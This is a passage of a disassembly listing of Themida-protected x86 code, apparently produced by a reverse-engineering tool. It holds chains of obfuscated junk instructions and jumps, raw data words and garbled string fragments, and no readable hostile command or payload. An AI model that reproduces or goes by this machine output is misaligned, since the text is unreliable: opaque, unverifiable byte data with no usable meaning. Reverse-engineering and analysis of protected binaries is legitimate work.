ebp, 464D2FCBh jmp loc_5A915E ; --------------------------------------------------------------------------- db 83h dd 0C18104C4h, 4, 2C181h, 2FE90000h, 8300010Ah, 0E381FFEBh dd 78003E9h, 0B9CE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A6B6: ; CODE XREF: Themida_:005A0EBEj add edx, 749C4715h jl loc_5ADA51 jmp loc_5A462F ; --------------------------------------------------------------------------- loc_59A6C7: ; CODE XREF: Themida_:005A5631j and eax, 0A63480Dh jnp loc_5ABEFF shr eax, 7 jmp loc_59CAD1 ; --------------------------------------------------------------------------- dw 0C388h ; --------------------------------------------------------------------------- loc_59A6DC: ; CODE XREF: Themida_:005AF38Dj push edx mov edx, 14115E05h inc edx jp loc_5A01C2 jmp loc_59BAD7 ; --------------------------------------------------------------------------- dw 7FE9h dd 5D0000CFh, 0F02CEB01h ; --------------------------------------------------------------------------- loc_59A6F8: ; CODE XREF: Themida_:005A0DA7j xor ebp, 226E73DCh push dword ptr [esp] mov eax, [esp] jmp loc_59A921 ; --------------------------------------------------------------------------- db 59h, 8Fh, 4 dd 7F68E924h, 1C890000h, 15B5924h, 2434FFC8h, 475E6859h dd 0C890000h, 81E18924h, 4C1h, 4C18300h, 31240C33h, 0C33240Ch dd 0DB35E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A73E: ; CODE XREF: Themida_:005A9C74j pop edx jmp loc_5A126E ; --------------------------------------------------------------------------- loc_59A744: ; CODE XREF: Themida_:005A94A9j sub esp, 4 jmp loc_59B3CF ; --------------------------------------------------------------------------- loc_59A74F: ; CODE XREF: Themida_:005A3C14j pop ebp jmp loc_5A10BB ; --------------------------------------------------------------------------- loc_59A755: ; CODE XREF: Themida_:005A0251j pop ebx shl eax, 2 jmp loc_5A2129 ; --------------------------------------------------------------------------- dw 0BF57h dd 11FB00CFh, 2A97C581h, 0FD013177h, 2A97ED81h, 23E93177h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59A777: ; CODE XREF: Themida_:005985B5j xchg esi, [esp] mov esp, [esp] add ecx, edi push 5B4Ah mov [esp], edi mov edi, 7FFB0609h add ecx, edi pop edi jmp loc_5A13BF ; --------------------------------------------------------------------------- loc_59A794: ; CODE XREF: Themida_:005AD002j pop edx jmp loc_5A184E ; --------------------------------------------------------------------------- loc_59A79A: ; CODE XREF: Themida_:005A1DFCj mov ecx, 96B4B3D3h add ecx, 6AE479F1h push edx jmp loc_5ACCF0 ; --------------------------------------------------------------------------- loc_59A7AB: ; CODE XREF: Themida_:00598B61j mov eax, [esp] add esp, 4 push esi mov esi, 3A4F1A7Dh jmp loc_5ADBDD ; --------------------------------------------------------------------------- loc_59A7BF: ; CODE XREF: Themida_:005A2823j add edx, ecx pop ecx sub esp, 4 mov [esp], edi mov edi, 4 jmp loc_5A6137 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 75h dd 0F7000012h, 79BB53D1h, 29554666h, 0C1815BD9h, 0B1D8A043h dd 2E6FB951h, 0CB295D74h, 81CB0159h, 742E6FC3h, 2434FF5Dh dd 4C48359h, 201FB850h, 35407A9Eh, 599B51BEh, 8B2A120Dh dd 78B95165h, 3140C46Fh, 930E9C8h db 1, 0 ; --------------------------------------------------------------------------- loc_59A822: ; CODE XREF: Themida_:005A503Cj pop edx push 1414h mov [esp], edi mov edi, 0BD965AEh add eax, edi jmp loc_5A5839 ; --------------------------------------------------------------------------- loc_59A837: ; CODE XREF: Themida_:005ACB7Fj mov edx, 2 mov ebp, edx jmp loc_5A25D5 ; --------------------------------------------------------------------------- loc_59A843: ; CODE XREF: Themida_:005A6042j xor dh, 40h push eax mov al, dh mov bh, al jmp loc_59D4FE ; --------------------------------------------------------------------------- loc_59A850: ; CODE XREF: Themida_:005A3329j sub esi, 7E6D1C11h pop ebp pop ecx sub eax, esi pop esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_5A6A3E ; --------------------------------------------------------------------------- loc_59A872: ; CODE XREF: Themida_:005AB57Aj xor ecx, 59921C6Ch sub ecx, 707F2655h neg ecx add ecx, 0C11DE51Bh add ebp, ecx jmp loc_5AC2AF ; --------------------------------------------------------------------------- loc_59A88D: ; CODE XREF: Themida_:005AC456j jmp loc_59838C ; --------------------------------------------------------------------------- dw 0D7F7h dd 3C4CE9h db 0 ; --------------------------------------------------------------------------- loc_59A899: ; CODE XREF: Themida_:005A47C5j mov ebp, [esp] add esp, 4 push esi mov esi, 4 add ebp, esi jmp loc_59BC2A ; --------------------------------------------------------------------------- dd 100BBE56h, 74013A4Ch, 5B5E0424h, 100BEB81h, 148B3A4Ch dd 0E6895624h, 4C681h, 0C6810000h, 4, 0E9243487h, 8A72h ; --------------------------------------------------------------------------- loc_59A8D8: ; CODE XREF: Themida_:005A7647j xor ecx, 45A2DEE4h mov esi, ecx pop ecx sub ecx, esi pop esi xor ecx, [esp] jmp loc_59E66A ; --------------------------------------------------------------------------- loc_59A8EC: ; CODE XREF: Themida_:005A408Dj push ebx mov ebx, ebp mov esi, ebx pop ebx mov ebp, [esp] add esp, 4 and eax, esi push dword ptr [esp] jmp loc_59C11E ; --------------------------------------------------------------------------- loc_59A902: ; CODE XREF: Themida_:00598841j add ch, dh jmp loc_5AEA6B ; --------------------------------------------------------------------------- loc_59A909: ; CODE XREF: Themida_:005ACD73j mov edx, [esp] push 340Dh mov [esp], edx mov edx, esp add edx, 4 jmp loc_5A76CD ; --------------------------------------------------------------------------- loc_59A921: ; CODE XREF: Themida_:0059A704j add esp, 4 add esp, 4 and ecx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push 0BF6h mov [esp], esi mov esi, esp push ebx mov ebx, 30DC465Dh shr ebx, 3 add ebx, 62D828B7h inc ebx xor ebx, 68F3B187h sub esi, 6194B4Bh add esi, ebx jmp loc_59E2B5 ; --------------------------------------------------------------------------- loc_59A965: ; CODE XREF: Themida_:0059F367j mov ebx, [esp] add esp, 4 add ebx, 0B59856C5h jmp loc_5A6CC6 ; --------------------------------------------------------------------------- loc_59A979: ; CODE XREF: Themida_:005AF4C4j jmp loc_5A6C56 ; --------------------------------------------------------------------------- dw 1C33h aLIH db '$$$,$h',8,':',0 align 4 dd 0B9240C89h, 540E7BBFh, 8445C181h, 0CD89ABF1h, 81240C8Bh dd 4C4h, 0B9C18100h, 150E676h, 0B9E981E9h, 5D50E676h, 2BF57h dd 0F9010000h, 74FF515Fh, 8F590424h, 85C2404h, 0E99C2404h dd 0FFFFF373h ; --------------------------------------------------------------------------- loc_59A9D0: ; CODE XREF: Themida_:loc_5A9D85j add eax, 0B90A6871h mov ebp, eax jmp loc_59F065 ; --------------------------------------------------------------------------- loc_59A9DC: ; CODE XREF: Themida_:005A64B2j shr eax, 4 jp loc_59F065 shr eax, 3 jnz loc_5A0B2B jmp loc_5A029A ; --------------------------------------------------------------------------- db 8Bh dd 0F080240Ch db 64h, 5Ch ; --------------------------------------------------------------------------- loc_59A9FA: ; CODE XREF: Themida_:loc_5A7137j shr eax, 4 add eax, 5BF11713h mov ebp, eax jmp loc_5A831E ; --------------------------------------------------------------------------- db 0BFh, 88h, 1Ch dd 0FA0928F0h, 3EAC15Fh, 0F8AAEA81h, 5BE9189Bh db 3Dh, 1, 0 ; --------------------------------------------------------------------------- loc_59AA1F: ; CODE XREF: Themida_:005A27D0j pop edx pop esi add edx, 7223220Dh add eax, edx pop edx add eax, 4 xchg eax, [esp] pop esp push ax jmp loc_59C34C ; --------------------------------------------------------------------------- loc_59AA38: ; CODE XREF: Themida_:005A0148j sub bl, al add bl, 0E1h push 71C5h mov [esp], eax push ecx push eax mov ah, 43h xor ah, 0C0h shl ah, 4 sub ah, 0E3h mov cl, ah jmp loc_5A337B ; --------------------------------------------------------------------------- loc_59AA59: ; CODE XREF: Themida_:loc_5AE128j push 4981h jmp loc_5A3A39 ; --------------------------------------------------------------------------- loc_59AA63: ; CODE XREF: Themida_:005993ADj ; Themida_:005A48A9j xor ecx, 4B7F7C49h jo loc_5A7D56 push ebp mov ebp, 7E7E44F4h jmp loc_59CE1A ; --------------------------------------------------------------------------- dw 0C281h dd 4, 31241433h, 14332414h, 24248B24h, 68240C8Bh, 6219h dd 89243489h, 4C681E6h, 0E9000000h, 0FFFFE9CEh ; --------------------------------------------------------------------------- loc_59AAA4: ; CODE XREF: Themida_:005AF2C9j add edi, 0C1D3BD9h sub edi, eax sub edi, 0C1D3BD9h jmp loc_5A3C06 ; --------------------------------------------------------------------------- loc_59AAB7: ; CODE XREF: Themida_:005A81C9j xor eax, ebx pop ebx add ebx, eax pop eax push ecx mov ecx, 4 add ebx, ecx mov ecx, [esp] add esp, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], ebp push esp pop ebp jmp loc_5A4CC4 ; --------------------------------------------------------------------------- dw 8F59h dd 248B2404h, 241C8924h, 627C6852h, 0C890000h, 344E924h db 1, 0 ; --------------------------------------------------------------------------- loc_59AAFA: ; CODE XREF: Themida_:005A6B70j push dword ptr [esp] mov ecx, [esp] push eax push esp pop eax add eax, 4 jmp loc_59E2CC ; --------------------------------------------------------------------------- loc_59AB0D: ; CODE XREF: Themida_:005AA830j sub ebx, 0F102C02Bh mov esi, ebx pop ebx jmp loc_5AC195 ; --------------------------------------------------------------------------- db 0ADh dd 0C6DEB2Dh, 40BA525Bh, 29688D13h, 0E9525AD0h, 0DF4Ch dd 8004EFC0h, 850F9AF7h, 0C87h, 0E9D6C780h, 0FFFFF915h dd 8752C331h, 0E95C2434h, 13154h ; --------------------------------------------------------------------------- loc_59AB50: ; CODE XREF: Themida_:005AD68Dj mov dl, 33h sub al, dl pop dx mov dx, [esp] jmp loc_5A9290 ; --------------------------------------------------------------------------- db 81h dd 0C63428E2h, 53EA817Ah, 0E9DEB502h, 0FFFFF35Eh ; --------------------------------------------------------------------------- loc_59AB70: ; CODE XREF: Themida_:0059C142j sub ebp, 57B96C82h jmp loc_5A0E54 ; --------------------------------------------------------------------------- db 2Ch dd 0EC835A50h, 24148904h, 0E9E6B151h, 6054h, 0E96EF480h dd 8E71h, 1B68AC68h, 3AE95927h db 0A4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59AB9F: ; CODE XREF: Themida_:loc_599083j ; Themida_:005AB8BFj pop ecx push ebx mov ebx, 123A01D8h push ecx mov ecx, 13DA2448h and ebx, ecx pop ecx and ebx, 7E816B71h xor ebx, 4F21496Ch sub ebx, 0FFFFFFFFh push ecx jmp loc_59D2EA ; --------------------------------------------------------------------------- loc_59ABC4: ; CODE XREF: Themida_:loc_59B5DDj xor edx, 64A41935h add edx, 29DB4273h jmp loc_5A9D97 ; --------------------------------------------------------------------------- loc_59ABD5: ; CODE XREF: Themida_:005A7827j push ecx mov ch, 62h jmp loc_5A12F3 ; --------------------------------------------------------------------------- loc_59ABDD: ; CODE XREF: Themida_:005A3D2Cj mov [esp], ebp mov ebp, 4 jmp loc_59B877 ; --------------------------------------------------------------------------- loc_59ABEA: ; CODE XREF: Themida_:00598701j add eax, 8DCF6922h push eax add dword ptr [esp], 72946AA7h pop ebp sub ebp, 72946AA7h pop eax push 545Dh jmp loc_5AD039 ; --------------------------------------------------------------------------- loc_59AC09: ; CODE XREF: Themida_:005A7D51j mov [esp], eax push 715702B5h jmp loc_5A291C ; --------------------------------------------------------------------------- dw 4BB0h dd 5866C200h, 0E9D9B450h, 0E114h ; --------------------------------------------------------------------------- loc_59AC24: ; CODE XREF: Themida_:005AEAE4j and edx, 4D2E72A6h jp loc_5A3FF4 neg edx jns loc_5A869A mov ah, 0B0h pop eax push ebx push 64116AECh jmp loc_5A9805 ; --------------------------------------------------------------------------- loc_59AC46: ; CODE XREF: Themida_:005ABDF4j mov esi, 6F2D6B88h jmp loc_5A4C68 ; --------------------------------------------------------------------------- loc_59AC50: ; CODE XREF: Themida_:005AA178j mov [esp], eax sub dword ptr [esp], 27D57DD8h pop esi add esi, 27D57DD8h pop eax add edx, esi jmp loc_59FC68 ; --------------------------------------------------------------------------- loc_59AC69: ; CODE XREF: Themida_:005AB414j dec dword ptr [esp] jmp loc_5A738D ; --------------------------------------------------------------------------- loc_59AC71: ; CODE XREF: Themida_:005A2124j pop edi add esp, 4 or edx, eax shl edx, 1 push eax sub esp, 4 jmp loc_5A9178 ; --------------------------------------------------------------------------- db 1, 0E9h, 5Dh dd 7E4BE9h db 0 ; --------------------------------------------------------------------------- loc_59AC8D: ; CODE XREF: Themida_:005A339Fj pop ecx push edi mov edi, esp add edi, 4 jmp loc_5A188F ; --------------------------------------------------------------------------- loc_59AC9C: ; CODE XREF: Themida_:0059DCB5j xor dword ptr [esp], 6111614Ah jmp loc_5A0CAD ; --------------------------------------------------------------------------- dd 815BDE21h, 80420CEEh, 0EEED8115h, 143E325h, 0EEC581F5h dd 5E43E325h, 4BE56h, 0F5290000h, 8324348Bh, 2C8704C4h dd 24248B24h, 0B9240C89h, 4, 42F3BB53h, 6E92699h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59ACE7: ; CODE XREF: Themida_:0059D387j or ebx, 3FAA7AF0h sub ebx, 7FFB7FF2h jmp loc_5A066C ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 0B8505524h, 4E49463Eh, 1351FEBDh dd 58C52951h, 8B0FDDF7h, 0C6FEh, 4D07EDC1h, 27A9F581h db 66h, 0Ah ; --------------------------------------------------------------------------- loc_59AD22: ; CODE XREF: Themida_:00598F7Aj mov ebp, 39CA46F9h jmp loc_59A07E ; --------------------------------------------------------------------------- loc_59AD2C: ; CODE XREF: Themida_:00599180j add [esp+4], edx jmp loc_59D2A3 ; --------------------------------------------------------------------------- loc_59AD35: ; CODE XREF: Themida_:0059B0CAj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub eax, ebp mov ebp, [esp] add esp, 4 add ebx, 41EF623Dh jmp loc_59CED9 ; --------------------------------------------------------------------------- loc_59AD58: ; CODE XREF: Themida_:00598DF4j add cl, 0E9h shl cl, 6 jmp loc_5A1180 ; --------------------------------------------------------------------------- loc_59AD63: ; CODE XREF: Themida_:005AF3F4j xchg ecx, [esp] pop esp or edx, eax shl edx, 1 push 549Dh mov [esp], eax mov eax, 24h add eax, edi push ebx jmp loc_598EC2 ; --------------------------------------------------------------------------- loc_59AD80: ; CODE XREF: Themida_:00598D66j sub edi, 2BA11727h jmp loc_59E41D ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 4899h, 1C296857h, 0E95F2BBFh, 9133h ; --------------------------------------------------------------------------- loc_59ADA0: ; CODE XREF: Themida_:0059C3BEj pop edx pop ecx jmp loc_5A9276 ; --------------------------------------------------------------------------- loc_59ADA7: ; CODE XREF: Themida_:005A9EBDj neg ecx xor ecx, 4AC4F544h jmp loc_5A3EDE ; --------------------------------------------------------------------------- loc_59ADB4: ; CODE XREF: Themida_:005A2D4Ej ; Themida_:005AED58j push 5AA2h mov [esp], edi jmp loc_599A30 ; --------------------------------------------------------------------------- db 1, 0DFh, 0E9h dd 181h, 0F677C580h, 53F5E9D5h, 782D0000h, 291A7839h, 0FCC9E9D8h dd 0F8310000h, 0C3015E5Fh, 0E924048Bh, 4580h ; --------------------------------------------------------------------------- loc_59ADEC: ; CODE XREF: Themida_:005A3AE9j mov [esp], ebx push esp mov ebx, [esp] add esp, 4 jmp loc_5A24DD ; --------------------------------------------------------------------------- loc_59ADFE: ; CODE XREF: Themida_:0059ED6Cj mov dh, ch mov al, dh pop edx pop ecx add bl, 0CFh add bl, al sub bl, 0CFh pop ax push small 4A37h mov [esp], cx push ebx jmp loc_5A93DB ; --------------------------------------------------------------------------- loc_59AE1C: ; CODE XREF: Themida_:005A496Dj pop esp pop dword ptr [esp] pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_59AE26: ; CODE XREF: Themida_:005A2FE1j mov [esp], ebx push ecx jmp loc_5AA352 ; --------------------------------------------------------------------------- loc_59AE2F: ; CODE XREF: Themida_:0059FD0Dj pop ebp add ebx, 4 jmp loc_5A85CC ; --------------------------------------------------------------------------- aBAawS db 'ΓAνw΅ι',0 db 0 ; --------------------------------------------------------------------------- loc_59AE43: ; CODE XREF: Themida_:005A810Aj mov edx, [esp] add esp, 4 push ebx mov ebx, 4 add eax, ebx pop ebx xor eax, [esp] jmp loc_5A60A6 ; --------------------------------------------------------------------------- loc_59AE5A: ; CODE XREF: Themida_:005A81BBj push edx push edi mov edi, 19DF30BCh dec edi jmp loc_59C9A2 ; --------------------------------------------------------------------------- loc_59AE67: ; CODE XREF: Themida_:0059E4B1j mov [esp], edi push 692Ah jmp loc_5A4763 ; --------------------------------------------------------------------------- dd 0EBA8E9ACh, 34FFFFFFh, 240C8B24h, 24ED68h, 242C8900h dd 0C581E589h, 4, 4C581h, 2C870000h, 24248B24h, 68E08950h dd 15B0h, 52243C89h, 0E28CE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59AEAE: ; CODE XREF: Themida_:005A26F2j mov [esp], ebp mov ebp, 731926F3h jmp loc_59B3B9 ; --------------------------------------------------------------------------- loc_59AEBB: ; CODE XREF: Themida_:005A69BBj inc eax inc eax jmp loc_5A3768 ; --------------------------------------------------------------------------- dw 555Ch dd 0F41DFDBDh, 0A90BE94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59AECE: ; CODE XREF: Themida_:loc_5A8122j add ebx, 1FC09A3h jnz loc_5AED36 shl ebx, 5 jmp loc_5A55F0 ; --------------------------------------------------------------------------- dw 1C31h dd 8BBEB424h, 89DF89F5h, 34FF5FFEh, 241C8B24h, 4C481h dd 0E90000h, 6600000Fh, 29B75350h, 88D6C780h, 0E2005BFCh dd 0C2805866h, 0C004A7h, 5AC02CD0h, 0A12CEA04h, 62E9D800h db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59AF23: ; CODE XREF: Themida_:005A0034j add ah, 4Bh sub ah, 21h mov cl, ah jmp loc_5A2030 ; --------------------------------------------------------------------------- loc_59AF30: ; CODE XREF: Themida_:005A04A4j push eax mov eax, 7C826AE1h not eax and eax, 4F344DB5h xor eax, 3340510h add ecx, eax jmp loc_5A02A3 ; --------------------------------------------------------------------------- db 81h, 0EFh, 5Eh dd 8B71BE5Ah, 0C481241Ch, 4, 0A735E9h db 0 ; --------------------------------------------------------------------------- loc_59AF5D: ; CODE XREF: Themida_:005AE592j push eax jmp loc_59F97F ; --------------------------------------------------------------------------- aQvskm db 'QVιm',0 align 2 loc_59AF6A: ; CODE XREF: Themida_:005AC2E6j push 54D2h mov [esp], ecx mov ecx, 49777D6Ah dec ecx sub ecx, 0FFFFFFFFh not ecx or ecx, 43104662h shl ecx, 2 sub ecx, 0A29C9E73h add eax, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 jmp loc_59D34B ; --------------------------------------------------------------------------- loc_59AFA2: ; CODE XREF: Themida_:005A7667j add bl, ch pop ecx sub bl, 75h sub bl, al push ax push ecx push 5E15h mov [esp], ebx mov bl, 0FCh mov ch, 5 xor ch, bl jmp loc_5A8BD3 ; --------------------------------------------------------------------------- dd 0F65AD488h, 66E188D4h, 132E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59AFCE: ; CODE XREF: Themida_:005A0B33j add esp, 4 xchg eax, [esp] pop esp mov ebx, [esp] add esp, 4 mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_59838C ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0EC830000h, 241C8904h, 2BBh, 4322E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59B00A: ; CODE XREF: Themida_:00598B37j mov cx, [esp] push eax mov eax, esp push ebp push ebx jmp loc_5983B3 ; --------------------------------------------------------------------------- dd 5C240487h, 0FFD36BE9h, 2E8C1FFh, 0E903E0C1h, 42E1h ; --------------------------------------------------------------------------- loc_59B02C: ; CODE XREF: Themida_:005A48D8j mov ebp, ecx jmp loc_5AD51E ; --------------------------------------------------------------------------- db 58h dd 390BBE56h, 0F101E3B2h, 0FFCD015Eh, 81592434h, 4C4h dd 4EC8100h, 0E9000000h, 4336h ; --------------------------------------------------------------------------- loc_59B054: ; CODE XREF: Themida_:005A2FBEj jmp loc_599083 ; --------------------------------------------------------------------------- loc_59B059: ; CODE XREF: Themida_:005A2E84j mov ecx, edi pop edi xor ecx, 83D2821Ah add edi, ecx jmp loc_5A7CD0 ; --------------------------------------------------------------------------- db 29h, 0CEh, 81h dd 84393EC6h, 2434FF41h, 0B301E9h db 0 ; --------------------------------------------------------------------------- loc_59B079: ; CODE XREF: Themida_:0059CAF2j add ebx, 4CAF4F3Ch jmp loc_5A711F ; --------------------------------------------------------------------------- dd 1E932FFh db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B08B: ; CODE XREF: Themida_:005AC322j and eax, 30F84407h shr eax, 4 xor eax, 20F0444h add ecx, eax jmp loc_5AC277 ; --------------------------------------------------------------------------- loc_59B09F: ; CODE XREF: Themida_:005A0E92j push dword ptr [esp] push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], edi jmp loc_59C770 ; --------------------------------------------------------------------------- loc_59B0B3: ; CODE XREF: Themida_:005AE954j pop esp jmp loc_59FA20 ; --------------------------------------------------------------------------- loc_59B0B9: ; CODE XREF: Themida_:005A0330j or eax, 28D239ADh jmp loc_5A963C ; --------------------------------------------------------------------------- loc_59B0C3: ; CODE XREF: Themida_:0059D687j push dword ptr [esp] pop ecx push ecx mov ecx, esp jmp loc_59AD35 ; --------------------------------------------------------------------------- loc_59B0CF: ; CODE XREF: Themida_:005984F7j pop ebx jmp loc_5AC0E7 ; --------------------------------------------------------------------------- loc_59B0D5: ; CODE XREF: Themida_:loc_5A332Ej and ebp, 305177BCh sub ebp, 1B4B5C60h ja loc_5A1D19 jmp loc_5A88A3 ; --------------------------------------------------------------------------- dd 0FFF140E9h, 242C87FFh, 6624248Bh, 0E9240489h, 0FFFFD28Ch dd 6604E9C0h, 0F0B25250h, 890FE2D0h, 0FB9Dh, 8008E2C0h dd 0D4886FC2h, 8324148Bh, 0E13004C4h, 0E9B5E9h db 0 ; --------------------------------------------------------------------------- loc_59B125: ; CODE XREF: Themida_:005ABF1Dj pop esi add ecx, 1 push ecx xchg ecx, [esp] not ecx xchg ecx, [esp] jmp loc_59FC43 ; --------------------------------------------------------------------------- loc_59B137: ; CODE XREF: Themida_:005AA39Aj mov ebx, 4E585650h and edi, ebx pop ebx not edi jmp loc_5A0A2F ; --------------------------------------------------------------------------- dw 0CB81h dd 5B9030A1h, 7808B0Fh, 0EB810001h, 5F967DA5h, 515BDF89h dd 5FBDF280h ; --------------------------------------------------------------------------- loc_59B160: ; CODE XREF: Themida_:loc_5AC8F3j sub al, 0E0h sub bl, al pop ax push dword ptr [esp] mov eax, [esp] push esi jmp loc_5A319E ; --------------------------------------------------------------------------- loc_59B172: ; CODE XREF: Themida_:005AA757j add esi, ecx pop ecx jmp loc_5A451E ; --------------------------------------------------------------------------- loc_59B17A: ; CODE XREF: Themida_:0059D73Bj ; Themida_:0059FC57j sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], ebx sub dword ptr [esp], 261A5F41h mov ebp, [esp] jmp loc_59B926 ; --------------------------------------------------------------------------- dd 0B3E7E9h, 2474FF00h, 3664E904h db 1, 0 ; --------------------------------------------------------------------------- loc_59B1A6: ; CODE XREF: Themida_:0059CC49j xor ebp, 4B5A50ABh add ebp, 0C0D06D3h xor ebp, 61A16A4Fh jmp loc_5A607A ; --------------------------------------------------------------------------- loc_59B1BD: ; CODE XREF: Themida_:005A70DCj pop esi pop dword ptr [esp] pop esp jmp loc_59C1E9 ; --------------------------------------------------------------------------- db 8 dd 805866C7h, 0EC8371F7h, 0C66AE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59B1D6: ; CODE XREF: Themida_:00598579j add eax, 688D1340h push edi mov edi, 63471AD3h shl edi, 7 add edi, 27D6075Dh neg edi jmp loc_5A59DF ; --------------------------------------------------------------------------- loc_59B1F1: ; CODE XREF: Themida_:005A6528j sub al, 76h mov dx, [esp] push 473Fh mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp push 0F16h mov [esp], ecx mov cl, 59h shl cl, 6 push eax mov al, 9Eh jmp loc_5A885A ; --------------------------------------------------------------------------- db 57h dd 4BFh, 82A1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59B22E: ; CODE XREF: Themida_:005A5305j xchg ebx, [esp] pop esp mov [esp], ebx jmp loc_5A4ECA ; --------------------------------------------------------------------------- loc_59B23A: ; CODE XREF: Themida_:005AE72Cj or eax, eax jz loc_5AAFD4 push dword ptr [edi+1Ch] push 4558h mov [esp], ebx jmp loc_5A8F8A ; --------------------------------------------------------------------------- dw 0BE56h dd 26A54667h, 70F7E9h db 0 ; --------------------------------------------------------------------------- loc_59B25D: ; CODE XREF: Themida_:005A9487j pop ecx sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5A117A ; --------------------------------------------------------------------------- loc_59B271: ; CODE XREF: Themida_:005AF1DEj push ebx mov ebx, 4 add esi, ebx jmp loc_5AB224 ; --------------------------------------------------------------------------- loc_59B27E: ; CODE XREF: Themida_:005A1B40j push esp pop ebx push esi mov esi, 2C0054D8h jmp loc_5A91CE ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 4C48324h, 13E41E9h db 0 ; --------------------------------------------------------------------------- loc_59B299: ; CODE XREF: Themida_:005A3161j mov [esp], ecx jmp loc_5986BF ; --------------------------------------------------------------------------- loc_59B2A1: ; CODE XREF: Themida_:00598505j pop esp push edx jmp loc_5A0A6A ; --------------------------------------------------------------------------- dd 34FF555Fh, 2434FF24h, 0E289525Ah, 4C281h, 0F0E90000h dd 810000D6h, 0F5C8EE9h, 59CF011Ch, 890FC781h, 9CE9130Fh db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59B2D3: ; CODE XREF: Themida_:0059D4B8j push 66CB61F3h pop ecx sub esi, ecx jmp loc_59B93A ; --------------------------------------------------------------------------- loc_59B2E0: ; CODE XREF: Themida_:005A2852j shl esi, 4 sub esi, 0FFFFFFFFh add esi, 0C042C05Fh and eax, esi mov esi, [esp] jmp loc_598ECE ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aSS_8 db '$ι»α',0 align 2 loc_59B302: ; CODE XREF: Themida_:0059F5C9j mov [esp], edx push esp pop edx push ecx push eax mov eax, 31352EBAh add eax, 0FFFFFFFFh push eax not dword ptr [esp] jmp loc_5A53F1 ; --------------------------------------------------------------------------- loc_59B31C: ; CODE XREF: Themida_:005A361Bj xchg ecx, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_5ADFE5 ; --------------------------------------------------------------------------- aWh_ db 'Wh.~',0 dw 8900h dd 79E9241Ch db 1Fh, 1, 0 ; --------------------------------------------------------------------------- loc_59B33B: ; CODE XREF: Themida_:005A84E1j pop cx push ecx sub esp, 4 mov [esp], edx mov dh, 0 mov cl, dh mov edx, [esp] add esp, 4 push eax push edx mov dl, 6Dh jmp loc_5AEE72 ; --------------------------------------------------------------------------- loc_59B35A: ; CODE XREF: Themida_:005A4305j xchg edx, [esp] mov esp, [esp] mov [esp], eax mov al, 11h xor al, 1Bh mov bl, al mov eax, [esp] add esp, 4 add al, 0FDh add al, 49h sub al, 86h add al, bl jmp loc_5A5830 ; --------------------------------------------------------------------------- loc_59B37F: ; CODE XREF: Themida_:005A23BBj ; Themida_:005A51F6j add cl, 44h jmp loc_5AA651 ; --------------------------------------------------------------------------- loc_59B387: ; CODE XREF: Themida_:loc_5AF275j dec ah jle loc_5A97A0 jmp loc_5A1D8E ; --------------------------------------------------------------------------- loc_59B394: ; CODE XREF: Themida_:loc_5A1076j xor ah, 8Ah jz loc_59BA27 push edx jmp loc_59CB66 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 0E1E95700h db 4, 1, 0 ; --------------------------------------------------------------------------- loc_59B3AF: ; CODE XREF: Themida_:005A07A4j mov edi, 4 jmp loc_5A0799 ; --------------------------------------------------------------------------- loc_59B3B9: ; CODE XREF: Themida_:0059AEB6j sub eax, ebp jmp loc_5A0F4F ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 0DDE95500h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59B3CF: ; CODE XREF: Themida_:0059A74Aj mov [esp], ecx push 3E764B4Ch pop ecx and ecx, 8BE642Dh jmp loc_5988A9 ; --------------------------------------------------------------------------- db 52h dd 8860B353h, 0D5885BDAh, 0C868665Ah, 1192E90Ah, 4BF0001h dd 29000000h, 14875FFAh, 34895C24h, 0FCE95024h db 0A8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59B40B: ; CODE XREF: Themida_:005AE997j pop edi add ebx, 2 jmp loc_5A06BE ; --------------------------------------------------------------------------- loc_59B414: ; CODE XREF: Themida_:005A9320j mov esi, 4 push eax jmp loc_5AA916 ; --------------------------------------------------------------------------- loc_59B41F: ; CODE XREF: Themida_:loc_5ABDB9j add edi, 25DE7C1Eh jmp loc_5AAE9A ; --------------------------------------------------------------------------- loc_59B42A: ; CODE XREF: Themida_:005996F9j mov [esp], edi push dword ptr [esp+4] mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A5988 ; --------------------------------------------------------------------------- loc_59B44B: ; CODE XREF: Themida_:005A7FCCj add edx, 4 xchg edx, [esp] pop esp add edi, 4 push edi push dword ptr [esp+4] jmp loc_59E2C6 ; --------------------------------------------------------------------------- db 81h, 0C1h, 2Ch dd 0E9736A04h, 0B93Ah ; 